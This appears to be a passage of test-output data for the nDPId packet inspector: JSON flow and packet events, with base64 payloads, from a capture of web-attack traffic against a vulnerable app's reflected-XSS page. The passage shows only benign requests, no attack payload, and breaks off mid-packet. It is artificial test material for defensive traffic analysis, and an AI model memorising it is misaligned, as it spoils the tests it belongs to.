+00440{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":650472,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy5hHE6nghuw3gKAScSB8wgAAAgQFtAQCCAoD4poaATjIowEDAwc="} +00428{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":651053,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZwxAAD4GXsysEAABwKgKMsuWAFCoJa+pE9ynqoAQAOW31wAAAQEICgE4yKMD4poa"} +00429{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":651090,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/91AAD4GxfqsEAABwKgKMsuYAFCG7DeARxOp4YAQAOUbygAAAQEICgE4yKMD4poa"} +00429{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":288832,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/95AAD4GxfmsEAABwKgKMsuYAFCG7DeARxOp4YARAOUWSAAAAQEICgE4ziQD4poa"} +00428{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":288832,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Zw1AAD4GXsusEAABwKgKMsuWAFCoJa+pE9ynqoARAOWyVQAAAQEICgE4ziQD4poa"} +00428{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":288836,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IaJAAD4GpDasEAABwKgKMsuEAFAW1en3YJstfIARAOU3JgAAAQEICgE4ziQD4pnN"} +00428{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":289065,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NnpAAEAGjV7AqAoyrBAAAQBQy5hHE6nhhuw3gYARAOMQyAAAAQEICgPin5sBOM4k"} +00428{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":289074,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ODFAAEAGi6fAqAoyrBAAAQBQy5YT3KeqqCWvqoARAOOs1QAAAQEICgPin5sBOM4k"} +00428{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":289143,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0sudAAEAGEPHAqAoyrBAAAQBQy4Rgmy18FtXp+IARAOMxWQAAAQEICgPin5sBOM4k"} +00429{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":289604,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/99AAD4GxfisEAABwKgKMsuYAFCG7DeBRxOp4oAQAOUQxgAAAQEICgE4ziQD4p+b"} +00428{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":289652,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0IaNAAD4GpDWsEAABwKgKMsuEAFAW1en4YJstfYAQAOUxVwAAAQEICgE4ziQD4p+b"} +00428{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346941,"pkt_ts_usec":289658,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Zw5AAD4GXsqsEAABwKgKMsuWAFCoJa+qE9ynq4AQAOWs0wAAAQEICgE4ziQD4p+b"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1499346956870,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52200,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":870305,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8DqpAAD4GtyasEAABwKgKMsvoAFDxddP2AAAAAKACchDuyQAAAgQFtAQCCAoBON1cAAAAAAEDAwc="} +00440{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":870429,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy+g57n8P8XXT96AScSCD9QAAAgQFtAQCCAoD4q7TATjdXAEDAwc="} +00430{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":871216,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DqtAAD4Gty2sEAABwKgKMsvoAFDxddP3Oe5\/EIAQAOUi\/QAAAQEICgE43VwD4q7T"} +00844{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":871220,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"ABm5CmnxAMGxFOsxCABFAAFpDqxAAD4GtfesEAABwKgKMsvoAFDxddP3Oe5\/EIAYAOWFNAAAAQEICgE43VwD4q7TR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":52,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1499346956870,"flow_last_seen":1499346956871,"flow_tot_l4_data_len":453,"flow_min_l4_data_len":32,"flow_max_l4_data_len":341,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52200,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00428{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":871309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA00cNAAEAG8hTAqAoyrBAAAQBQy+g57n8Q8XXVLIAQAOshwgAAAQEICgPirtMBON1c"} +01115{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":872855,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"AMGxFOsxABm5CmnxCABFAAI00cRAAEAG8BPAqAoyrBAAAQBQy+g57n8Q8XXVLIAYAOvGGgAAAQEICgPirtMBON1cSFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjU2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpTZXQtQ29va2llOiBQSFBTRVNTSUQ9OGhzbTJzMzY4NDZrN3ByOHAzaHM2M2Y2Mzc7IHBhdGg9Lw0KRXhwaXJlczogVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wDQpQcmFnbWE6IG5vLWNhY2hlDQpTZXQtQ29va2llOiBQSFBTRVNTSUQ9OGhzbTJzMzY4NDZrN3ByOHAzaHM2M2Y2Mzc7IHBhdGg9Lw0KU2V0LUNvb2tpZTogc2VjdXJpdHk9bG93DQpMb2NhdGlvbjogLi4vLi4vbG9naW4ucGhwDQpDb250ZW50LUxlbmd0aDogMA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo="} +00428{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":873486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Dq1AAD4GtyusEAABwKgKMsvoAFDxddUsOe6BEIAQAO0fwAAAAQEICgE43VwD4q7T"} +00887{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":897109,"pkt_caplen":408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":408,"pkt_l4_len":374,"pkt":"ABm5CmnxAMGxFOsxCABFAAGKDq5AAD4GtdSsEAABwKgKMsvoAFDxddUsOe6BEIAYAO2mXwAAAQEICgE43WID4q7TR0VUIC9kdi9sb2dpbi5waHAgSFRUUC8xLjENCkhvc3Q6IDIwNS4xNzQuMTY1LjY4DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQ7IHJ2OjQ1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDUuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29va2llOiBQSFBTRVNTSUQ9OGhzbTJzMzY4NDZrN3ByOHAzaHM2M2Y2MzcNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +01957{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":899361,"pkt_caplen":1198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1198,"pkt_l4_len":1164,"pkt":"AMGxFOsxABm5CmnxCABFAASg0cVAAEAG7abAqAoyrBAAAQBQy+g57oEQ8XXWgoAYAPOEygAAAQEICgPirtoBON1iSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjU2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPThoc20yczM2ODQ2azdwcjhwM2hzNjNmNjM3OyBwYXRoPS8NClNldC1Db29raWU6IHNlY3VyaXR5PWxvdw0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogNjk4DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD05OQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOA0KDQofiwgAAAAAAAADpVTfT9swEH4Gif\/h8Es3pMQt3QRlSSTWdhpSGRWksD0hN3Ybq07sJW5T9tfPTtJfpA+T9mLd2b7v+3x3vrNT73zw0A9\/jYcQ60TAePJ1dNcH5GD80u1jPAgH8PN7eD+CjtuGJ53xSGM8\/IEAxVqrG4yLonCLriuzOQ4f8dqidGxYbTp5GeNSTVFwdnp26pU860SkuX8Eo9Pr9arQ6vqJFzNCK\/PES5gmYIMc9nvJVz7qy1SzVDvhm2IIosrzkWZrjS3IF4hikuVM+5Pwm3ONAG+gNNeCBSM55ync3MCAJCk8L0XKMjIVDF7YFG6VEjwimssUPgyeX24\/wqrjdtpwMWArJqRKDNmFhyuoGlfwdAEZEz7K9ZtgecyYRqCNvlpWlOcI4ozNfERXBbE+FlaGW57UAj28e7c3lfStNilfAac+KjKiFMvQu20btNudZls4FXg8mUOeRTUtT8ic1cyvZpWuSueW3sOqGY4NQQDeueM0qBznnYa6ChsRM5klQCKbRR9VD1WxQmBqGUtzXcl8d5czQU216mSabJIpE2AgfLTMLdvErClJmIfLI6OJp2qp9xJs2kCQPK+57uwpgpz\/MceXbQQ2uAKzFgp2r2wwKgODgrFZC5nR44yqPj3KejsJH\/oP9+PRMBz6SM5mTSHb+D0hVsaBozbg+XKacJOtAwn1JqyIWBq3bOkNfOXs1RQfpngfqBVzSlnaqkJbNkWvWi7sTgXdij51e5eUta87vRnrXbVJdH3Vo2xGOp9pl3ZZa9cvtuqNNjrw\/9OwpmlHON7WjySlMnnSRsWmr6Fs1KqV4V0vb1u20cwzKfXuQ5lfROq\/uze6LLEbSXe5wOank2xuxg16nQqSLlDwb4PFw2S\/SM3fttEBW4VHLm2Hwt6t7ezwyoEY\/AUNOWF78wUAAA=="} +00920{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":931294,"pkt_caplen":431,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":431,"pkt_l4_len":397,"pkt":"ABm5CmnxAMGxFOsxCABFAAGhDq9AAD4GtbysEAABwKgKMsvoAFDxddaCOe6FfIAYAQTr+wAAAQEICgE43WsD4q7aR0VUIC9kdi9kdndhL2Nzcy9sb2dpbi5jc3MgSFRUUC8xLjENCkhvc3Q6IDIwNS4xNzQuMTY1LjY4DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQ7IHJ2OjQ1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDUuMA0KQWNjZXB0OiB0ZXh0L2NzcywqLyo7cT0wLjENCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KUmVmZXJlcjogaHR0cDovLzIwNS4xNzQuMTY1LjY4L2R2L2xvZ2luLnBocA0KQ29va2llOiBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD04aHNtMnMzNjg0Nms3cHI4cDNoczYzZjYzNw0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +01428{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":931568,"pkt_caplen":807,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":807,"pkt_l4_len":773,"pkt":"AMGxFOsxABm5CmnxCABFAAMZ0cZAAEAG7yzAqAoyrBAAAQBQy+g57oV88XXX74AYAPy\/dAAAAQEICgPiruIBON1rSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjU2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjM0YS01NTJkZGZlMjQyYjkwLWd6aXAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogNDA2DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD05OA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2Nzcw0KDQofiwgAAAAAAAADdVJBbsIwEDwXiT9YQr0RmlDgEE7toWqf4cTrsMJ4LduQ0Kp\/r51gCFWrvcSbndmZsSsSZ\/Y1nTxUvN43lo5alGwmQUoJ29CWpH3JiqXpnoq16diLRa7m7B3UCTzWfM4c1y5zYFHGeYUash1gswuwZW662KxJkQ20mypW6HxPJ9PJrLXcGLD9eg+dz7jCRpesBu3BRuCB2wZDJ2f86OkKrIOoMNMDBTqj+LlkqPvdlaJ6H7GGC4G6ualoUfhdec8kifxFgSGHHils45UjdfQwAhV5\/hiPydn6wlmR93QIAoejAunToV+geAWqp5eKePgXJ7a\/\/NrIebOb2WFHvljDYTu2ePVGJ7CBsC3ZDoUAPfKb0ElhvMCsvciuSIkkbaEoLPvQ5uj\/Eni9s9dYoyieU563F5Ol4bdVrCEYKyC0ipRTPGbOnxWULMSLYtRO8HoV6+7yNgP+kkyKO77H5EMiKOFgMJE0JvdXniI0+pdw+\/ovyHutmjSkVWYIKibq8BMG1vTzB9B5D8NKAwAA"} +00952{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":932437,"pkt_caplen":454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":454,"pkt_l4_len":420,"pkt":"ABm5CmnxAMGxFOsxCABFAAG4DrBAAD4GtaSsEAABwKgKMsvoAFDxddfvOe6IYYAYARW5IgAAAQEICgE43WsD4q7iR0VUIC9kdi9kdndhL2ltYWdlcy9sb2dpbl9sb2dvLnBuZyBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IGltYWdlL3BuZyxpbWFnZS8qO3E9MC44LCovKjtxPTAuNQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvbG9naW4ucGhwDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgUEhQU0VTU0lEPThoc20yczM2ODQ2azdwcjhwM2hzNjNmNjM3DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":61,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1499346956932,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52202,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":932508,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nj9AAD4GJ5GsEAABwKgKMsvqAFAHDkNUAAAAAKACchBpwwAAAgQFtAQCCAoBON1rAAAAAAEDAwc="} +00440{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":932573,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy+qiErzRBw5DVaAScSBY+QAAAgQFtAQCCAoD4q7iATjdawEDAwc="} +02383{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346956,"pkt_ts_usec":932608,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMGxFOsxABm5CmnxCABFAAXc0cdAAEAG7GjAqAoyrBAAAQBQy+g57ohh8XXZc4AQAQT7kQAAAQEICgPiruIBON1rSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjU2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjIzODAtNTUyZGRmZTI0MmI5MCINCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpDb250ZW50LUxlbmd0aDogOTA4OA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogaW1hZ2UvcG5nDQoNColQTkcNChoKAAAADUlIRFIAAADIAAAAcggGAAAAFgmejQAAI0dJREFUeAHs3ANwZNsWgOETOxnbtm3btm3btm3btud6PHds255k1vvr1rBfd9J9uuO9q76qlIJV\/R\/uiqaWWsG9KlWv54GUKI5mGIrFOIQTOP7VMfyDv\/HXV3\/iD+zCJLREAUSHZq2vXyhKkEiIShiEdTiGJ5BAcgo9kTAkBqIozoiPXKiMssiBPKiApuiJsViEbbgCCQR\/oHBYCERRoqAUBmA7nkJsZD4iBUogirL13zoOcIE7vBABkREN7tACAz87CephK3whVniEWioQ\/6gPuh2iIi2KoT56YCJW4hAu4xU+wQ9ihte4gqNYh+kYgBaoiBzwsjKWGOiEUxArrIaTCkTFEBdl0BsrcQGfIMHED+exGB2QBx46Y8mAcXhoRSQO4SMQFYIb0qMCOmISNmErlmMmJmIqZmEeFmMF1mAjtuIIruJ9EEfzLxahNeJYGIoT2uMZxELLYK8CCfuBOEOzsYhIhSKoh+6YisN4BQkkX3AQLRHFglAiYQI+6bh5V4EoNr+PSYIqGIKtuAuxsc\/YgfrwNjOUZNgJsUB1FYgSFOHERlNswluIDX3AGmQyIxI7dMdniBluw0MFohjyCMRYXFEK03DLxpdgK5HUjFBy4zbEDENVIIqGtCiJNHAIwrNLBkzFGxtefs1ArAAiiYzdkAB8QCIVSPiNoj+GIGcwX4b5oBOuQmzgHYYjgj+RuGATJABjVCDhK4pB+BsTkSiE3a\/Yoxz2QGzgGSoE8Dh4DcQfd2GvAgm7YqIvzuM+uiNCKLi5z4SjNro\/GQR7E5E4YjnEH0VUIGGLHQpjDT7jGXrAPRQ+Oq6PhxArbUEEf84kRyAmLFCBhA2R0BEXIXiDIYgQyh8V+2AifCFWuITU\/uzpugcx4qkKJHTLjgV4D8EHTES0MPZOJR3+gFjhNSqbiCQnPkKMiB+6Bqa4oSmOQ77y